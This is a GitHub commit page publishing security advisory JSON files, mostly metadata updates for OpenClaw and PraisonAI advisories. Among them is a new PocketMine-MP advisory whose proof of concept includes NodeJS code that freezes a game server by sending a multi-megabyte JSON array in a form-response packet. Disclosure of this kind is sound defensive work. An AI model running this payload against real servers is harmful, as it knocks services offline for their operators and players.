Skip to content

Commit 71b4936

Browse files
advisory-database[bot]advisory-database[bot]
committed
Publish Advisories
GHSA-9528-x887-j2fp GHSA-gm9m-x74r-8whg GHSA-44c2-3rw4-5gvh GHSA-6vh2-h83c-9294 GHSA-788v-5pfp-93ff GHSA-7hmv-4j2j-pp6f GHSA-8w9j-hc3g-3g7f GHSA-98f9-fqg5-hvq5 GHSA-9cq8-3v94-434g GHSA-9gm9-c8mq-vq7m GHSA-cfh6-vr3j-qc3g GHSA-f9jp-856v-8642 GHSA-fvx6-pj3r-5q4q GHSA-h6rj-3m53-887h GHSA-r4f2-3m54-pp7q GHSA-rf75-g96h-j3rm GHSA-w37c-qqfp-c67f GHSA-x6m9-gxvr-7jpv GHSA-gm9m-x74r-8whg GHSA-rf75-g96h-j3rm
1 parent c7b0755 commit 71b4936

20 files changed

Lines changed: 523 additions & 118 deletions

File tree

‎advisories/github-reviewed/2026/03/GHSA-9528-x887-j2fp/GHSA-9528-x887-j2fp.json‎

Lines changed: 12 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,9 +1,11 @@
11
{
22
"schema_version": "1.4.0",
33
"id": "GHSA-9528-x887-j2fp",
4-
"modified": "2026-04-06T17:34:29Z",
4+
"modified": "2026-04-06T22:53:25Z",
55
"published": "2026-03-31T23:59:17Z",
6-
"aliases": [],
6+
"aliases": [
7+
"CVE-2026-33580"
8+
],
79
"summary": "OpenClaw's Nextcloud Talk webhook missing rate limiting on shared secret authentication",
810
"details": "## Summary\n\nNextcloud Talk webhook signature failures were not throttled even though the integration relies on an operator-configured shared secret that may be weak.\n\n## Impact\n\nAn attacker who could reach the webhook endpoint could brute-force weak secrets online and then forge inbound webhook events.\n\n## Affected Component\n\n`extensions/nextcloud-talk/src/monitor.ts`\n\n## Fixed Versions\n\n- Affected: `<= 2026.3.24`\n- Patched: `>= 2026.3.28`\n- Latest stable `2026.3.28` contains the fix.\n\n## Fix\n\nFixed by commit `e403decb6e` (`nextcloud-talk: throttle repeated webhook auth failures`).\n\nOpenClaw thanks @AntAISecurityLab for reporting.",
911
"severity": [],
@@ -36,6 +38,10 @@
3638
"type": "WEB",
3739
"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-9528-x887-j2fp"
3840
},
41+
{
42+
"type": "ADVISORY",
43+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33580"
44+
},
3945
{
4046
"type": "WEB",
4147
"url": "https://github.com/openclaw/openclaw/commit/e403decb6e20091b5402780a7ccd2085f98aa3cd"
@@ -47,6 +53,10 @@
4753
{
4854
"type": "WEB",
4955
"url": "https://github.com/openclaw/openclaw/releases/tag/v2026.3.28"
56+
},
57+
{
58+
"type": "WEB",
59+
"url": "https://www.vulncheck.com/advisories/openclaw-brute-force-attack-via-missing-rate-limiting-on-webhook-shared-secret-authentication"
5060
}
5161
],
5262
"database_specific": {

‎advisories/github-reviewed/2026/03/GHSA-gm9m-x74r-8whg/GHSA-gm9m-x74r-8whg.json‎

Lines changed: 68 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,68 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-gm9m-x74r-8whg",
4+
"modified": "2026-04-06T22:53:20Z",
5+
"published": "2026-03-31T15:31:56Z",
6+
"withdrawn": "2026-04-06T22:53:20Z",
7+
"aliases": [],
8+
"summary": "Duplicate Advisory: OpenClaw's Nextcloud Talk webhook missing rate limiting on shared secret authentication",
9+
"details": "### Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-9528-x887-j2fp. This link is maintained to preserve external references.\n\n### Original Description\nOpenClaw before 2026.3.28 contains a missing rate limiting vulnerability in the Nextcloud Talk webhook authentication that allows attackers to brute-force weak shared secrets. Attackers who can reach the webhook endpoint can exploit this to forge inbound webhook events by repeatedly attempting authentication without throttling.",
10+
"severity": [
11+
{
12+
"type": "CVSS_V3",
13+
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
14+
},
15+
{
16+
"type": "CVSS_V4",
17+
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"
18+
}
19+
],
20+
"affected": [
21+
{
22+
"package": {
23+
"ecosystem": "npm",
24+
"name": "openclaw"
25+
},
26+
"ranges": [
27+
{
28+
"type": "ECOSYSTEM",
29+
"events": [
30+
{
31+
"introduced": "0"
32+
},
33+
{
34+
"fixed": "2026.3.28"
35+
}
36+
]
37+
}
38+
]
39+
}
40+
],
41+
"references": [
42+
{
43+
"type": "WEB",
44+
"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-9528-x887-j2fp"
45+
},
46+
{
47+
"type": "ADVISORY",
48+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33580"
49+
},
50+
{
51+
"type": "WEB",
52+
"url": "https://github.com/openclaw/openclaw/commit/e403decb6e20091b5402780a7ccd2085f98aa3cd"
53+
},
54+
{
55+
"type": "WEB",
56+
"url": "https://www.vulncheck.com/advisories/openclaw-brute-force-attack-via-missing-rate-limiting-on-webhook-shared-secret-authentication"
57+
}
58+
],
59+
"database_specific": {
60+
"cwe_ids": [
61+
"CWE-307"
62+
],
63+
"severity": "MODERATE",
64+
"github_reviewed": true,
65+
"github_reviewed_at": "2026-04-06T22:53:20Z",
66+
"nvd_published_at": "2026-03-31T15:16:15Z"
67+
}
68+
}

‎advisories/github-reviewed/2026/04/GHSA-44c2-3rw4-5gvh/GHSA-44c2-3rw4-5gvh.json‎

Lines changed: 6 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,7 @@
11
{
22
"schema_version": "1.4.0",
33
"id": "GHSA-44c2-3rw4-5gvh",
4-
"modified": "2026-04-01T23:27:07Z",
4+
"modified": "2026-04-06T22:54:29Z",
55
"published": "2026-04-01T23:27:07Z",
66
"aliases": [
77
"CVE-2026-34954"
@@ -43,6 +43,10 @@
4343
"type": "WEB",
4444
"url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-44c2-3rw4-5gvh"
4545
},
46+
{
47+
"type": "ADVISORY",
48+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34954"
49+
},
4650
{
4751
"type": "PACKAGE",
4852
"url": "https://github.com/MervinPraison/PraisonAI"
@@ -55,6 +59,6 @@
5559
"severity": "HIGH",
5660
"github_reviewed": true,
5761
"github_reviewed_at": "2026-04-01T23:27:07Z",
58-
"nvd_published_at": null
62+
"nvd_published_at": "2026-04-03T23:17:06Z"
5963
}
6064
}

‎advisories/github-reviewed/2026/04/GHSA-6vh2-h83c-9294/GHSA-6vh2-h83c-9294.json‎

Lines changed: 6 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,7 @@
11
{
22
"schema_version": "1.4.0",
33
"id": "GHSA-6vh2-h83c-9294",
4-
"modified": "2026-04-01T23:17:48Z",
4+
"modified": "2026-04-06T22:54:12Z",
55
"published": "2026-04-01T23:17:48Z",
66
"aliases": [
77
"CVE-2026-34938"
@@ -43,6 +43,10 @@
4343
"type": "WEB",
4444
"url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-6vh2-h83c-9294"
4545
},
46+
{
47+
"type": "ADVISORY",
48+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34938"
49+
},
4650
{
4751
"type": "PACKAGE",
4852
"url": "https://github.com/MervinPraison/PraisonAI"
@@ -55,6 +59,6 @@
5559
"severity": "CRITICAL",
5660
"github_reviewed": true,
5761
"github_reviewed_at": "2026-04-01T23:17:48Z",
58-
"nvd_published_at": null
62+
"nvd_published_at": "2026-04-03T23:17:06Z"
5963
}
6064
}

‎advisories/github-reviewed/2026/04/GHSA-788v-5pfp-93ff/GHSA-788v-5pfp-93ff.json‎

Lines changed: 63 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,63 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-788v-5pfp-93ff",
4+
"modified": "2026-04-06T22:54:07Z",
5+
"published": "2026-04-06T22:54:07Z",
6+
"aliases": [],
7+
"summary": "PocketMine-MP: JSON decoding of unlimited size large arrays/objects in ModalFormResponse Handling",
8+
"details": "### Impact\n\nThe server does not meaningfully limit the size of the JSON payload in `ModalFormResponsePacket`. This can be abused by an attacker to waste memory and CPU on an affected server, e.g. by sending arrays with millions of elements.\n\nThe player must have a full session on the server (i.e. spawned in the world) to exploit this, as form responses are not handled unless the player is in game.\n\n### Patches\nThe issue was fixed in two parts:\n- cef1088341e40ee7a6fa079bca47a84f3524d877 limits the size of a single form response to 10 KB, which is well above expected size, but low enough to prevent abuse\n- f983f4f66d5e72d7a07109c8175799ab0ee771d5 avoids decoding the form response if there is no form associated with the given ID\n\n### Workarounds\nThis issue can be worked around in a plugin using `DataPacketReceiveEvent` by:\n- checking the max size of the `formData` field\n- making sure the form ID is not repeated\n\nHowever, a full workaround for the issue would require reflection to access the `Player->forms` property, which is not exposed via any accessible API prior to 5.39.2.\n\n### PoC\n\n1. Join a PocketMine-MP server as a regular player (no special permissions needed).\n2. Use a modified client or packet-sending script to send a `ModalFormResponsePacket` with:\n\n * Any non-existent `formId`\n * `formData` containing a massive JSON array (e.g., 10+ MB payload).\n3. The server will attempt to parse the JSON and may freeze or become unresponsive.\n\nExample NodeJS pseudocode:\n\n```javascript\nimport { createClient } from 'bedrock-protocol';\n\nconst host = '127.0.0.1';\nconst port = 19132;\nconst username = 'Test';\n\nconst client = createClient({\n host,\n port,\n username,\n offline: true\n});\n\nconst hugePayload = '[' + '0,'.repeat(5_000_000) + '0]';\n\nclient.on('spawn', () => {\n console.log('[*] Connected & spawned. Sending malicious packet...');\n\n client.write('modal_form_response', {\n formId: 9999, // Form inexistant\n formData: hugePayload // JSON énorme\n });\n\n console.log('[*] Packet sent. The server should start freezing shortly.');\n});\n```",
9+
"severity": [
10+
{
11+
"type": "CVSS_V4",
12+
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"
13+
}
14+
],
15+
"affected": [
16+
{
17+
"package": {
18+
"ecosystem": "Packagist",
19+
"name": "pocketmine/pocketmine-mp"
20+
},
21+
"ranges": [
22+
{
23+
"type": "ECOSYSTEM",
24+
"events": [
25+
{
26+
"introduced": "0"
27+
},
28+
{
29+
"fixed": "5.39.2"
30+
}
31+
]
32+
}
33+
]
34+
}
35+
],
36+
"references": [
37+
{
38+
"type": "WEB",
39+
"url": "https://github.com/pmmp/PocketMine-MP/security/advisories/GHSA-788v-5pfp-93ff"
40+
},
41+
{
42+
"type": "WEB",
43+
"url": "https://github.com/pmmp/PocketMine-MP/commit/cef1088341e40ee7a6fa079bca47a84f3524d877"
44+
},
45+
{
46+
"type": "WEB",
47+
"url": "https://github.com/pmmp/PocketMine-MP/commit/f983f4f66d5e72d7a07109c8175799ab0ee771d5"
48+
},
49+
{
50+
"type": "PACKAGE",
51+
"url": "https://github.com/pmmp/PocketMine-MP"
52+
}
53+
],
54+
"database_specific": {
55+
"cwe_ids": [
56+
"CWE-770"
57+
],
58+
"severity": "HIGH",
59+
"github_reviewed": true,
60+
"github_reviewed_at": "2026-04-06T22:54:07Z",
61+
"nvd_published_at": null
62+
}
63+
}

‎advisories/github-reviewed/2026/04/GHSA-7hmv-4j2j-pp6f/GHSA-7hmv-4j2j-pp6f.json‎

Lines changed: 59 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,59 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-7hmv-4j2j-pp6f",
4+
"modified": "2026-04-06T22:54:10Z",
5+
"published": "2026-04-06T22:54:10Z",
6+
"aliases": [],
7+
"summary": "PocketMine-MP: Network amplification vulnerability with `ActorEventPacket`",
8+
"details": "### Impact\nThe server handles `ActorEventPacket` to trigger consuming animations from vanilla clients when they eat food or drink potions.\n\nThis can be abused to make the server spam other clients, and to waste server CPU and memory. For every `ActorEventPacket` sent by the client, an animation event will be sent to every other player the attacker is visible to.\n\nThis is similar to various other vulnerabilities which were fixed in the network overhaul of PM4 (e.g. `AnimatePacket` and `LevelSoundEventPacket`), but somehow this one slipped through the net.\n\n### Patches\nThe problem was addressed in aeea1150a772a005b92bd418366f1b7cf1a91ab5 by changing the mechanism for consuming animations to be fully controlled by the server. `ActorEventPacket` from the client is now discarded.\n\n### Workarounds\nA plugin could use `DataPacketDecodeEvent` to rate-limit `ActorEventPacket` to prevent the attack.",
9+
"severity": [
10+
{
11+
"type": "CVSS_V3",
12+
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N"
13+
}
14+
],
15+
"affected": [
16+
{
17+
"package": {
18+
"ecosystem": "Packagist",
19+
"name": "pocketmine/pocketmine-mp"
20+
},
21+
"ranges": [
22+
{
23+
"type": "ECOSYSTEM",
24+
"events": [
25+
{
26+
"introduced": "0"
27+
},
28+
{
29+
"fixed": "5.39.2"
30+
}
31+
]
32+
}
33+
]
34+
}
35+
],
36+
"references": [
37+
{
38+
"type": "WEB",
39+
"url": "https://github.com/pmmp/PocketMine-MP/security/advisories/GHSA-7hmv-4j2j-pp6f"
40+
},
41+
{
42+
"type": "WEB",
43+
"url": "https://github.com/pmmp/PocketMine-MP/commit/aeea1150a772a005b92bd418366f1b7cf1a91ab5"
44+
},
45+
{
46+
"type": "PACKAGE",
47+
"url": "https://github.com/pmmp/PocketMine-MP"
48+
}
49+
],
50+
"database_specific": {
51+
"cwe_ids": [
52+
"CWE-406"
53+
],
54+
"severity": "MODERATE",
55+
"github_reviewed": true,
56+
"github_reviewed_at": "2026-04-06T22:54:10Z",
57+
"nvd_published_at": null
58+
}
59+
}

‎advisories/github-reviewed/2026/04/GHSA-8w9j-hc3g-3g7f/GHSA-8w9j-hc3g-3g7f.json‎

Lines changed: 6 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,7 @@
11
{
22
"schema_version": "1.4.0",
33
"id": "GHSA-8w9j-hc3g-3g7f",
4-
"modified": "2026-04-01T23:21:08Z",
4+
"modified": "2026-04-06T22:54:16Z",
55
"published": "2026-04-01T23:21:08Z",
66
"aliases": [
77
"CVE-2026-34939"
@@ -43,6 +43,10 @@
4343
"type": "WEB",
4444
"url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-8w9j-hc3g-3g7f"
4545
},
46+
{
47+
"type": "ADVISORY",
48+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34939"
49+
},
4650
{
4751
"type": "PACKAGE",
4852
"url": "https://github.com/MervinPraison/PraisonAI"
@@ -55,6 +59,6 @@
5559
"severity": "MODERATE",
5660
"github_reviewed": true,
5761
"github_reviewed_at": "2026-04-01T23:21:08Z",
58-
"nvd_published_at": null
62+
"nvd_published_at": "2026-04-03T23:17:06Z"
5963
}
6064
}

‎advisories/github-reviewed/2026/04/GHSA-98f9-fqg5-hvq5/GHSA-98f9-fqg5-hvq5.json‎

Lines changed: 6 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,7 @@
11
{
22
"schema_version": "1.4.0",
33
"id": "GHSA-98f9-fqg5-hvq5",
4-
"modified": "2026-04-01T23:29:01Z",
4+
"modified": "2026-04-06T22:54:25Z",
55
"published": "2026-04-01T23:29:01Z",
66
"aliases": [
77
"CVE-2026-34953"
@@ -43,6 +43,10 @@
4343
"type": "WEB",
4444
"url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-98f9-fqg5-hvq5"
4545
},
46+
{
47+
"type": "ADVISORY",
48+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34953"
49+
},
4650
{
4751
"type": "PACKAGE",
4852
"url": "https://github.com/MervinPraison/PraisonAI"
@@ -55,6 +59,6 @@
5559
"severity": "CRITICAL",
5660
"github_reviewed": true,
5761
"github_reviewed_at": "2026-04-01T23:29:01Z",
58-
"nvd_published_at": null
62+
"nvd_published_at": "2026-04-03T23:17:06Z"
5963
}
6064
}

‎advisories/github-reviewed/2026/04/GHSA-9cq8-3v94-434g/GHSA-9cq8-3v94-434g.json‎

Lines changed: 6 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,7 @@
11
{
22
"schema_version": "1.4.0",
33
"id": "GHSA-9cq8-3v94-434g",
4-
"modified": "2026-04-01T23:20:33Z",
4+
"modified": "2026-04-06T22:53:53Z",
55
"published": "2026-04-01T23:20:32Z",
66
"aliases": [
77
"CVE-2026-34934"
@@ -43,6 +43,10 @@
4343
"type": "WEB",
4444
"url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-9cq8-3v94-434g"
4545
},
46+
{
47+
"type": "ADVISORY",
48+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34934"
49+
},
4650
{
4751
"type": "PACKAGE",
4852
"url": "https://github.com/MervinPraison/PraisonAI"
@@ -55,6 +59,6 @@
5559
"severity": "CRITICAL",
5660
"github_reviewed": true,
5761
"github_reviewed_at": "2026-04-01T23:20:32Z",
58-
"nvd_published_at": null
62+
"nvd_published_at": "2026-04-03T23:17:05Z"
5963
}
6064
}

0 commit comments

Comments
 (0)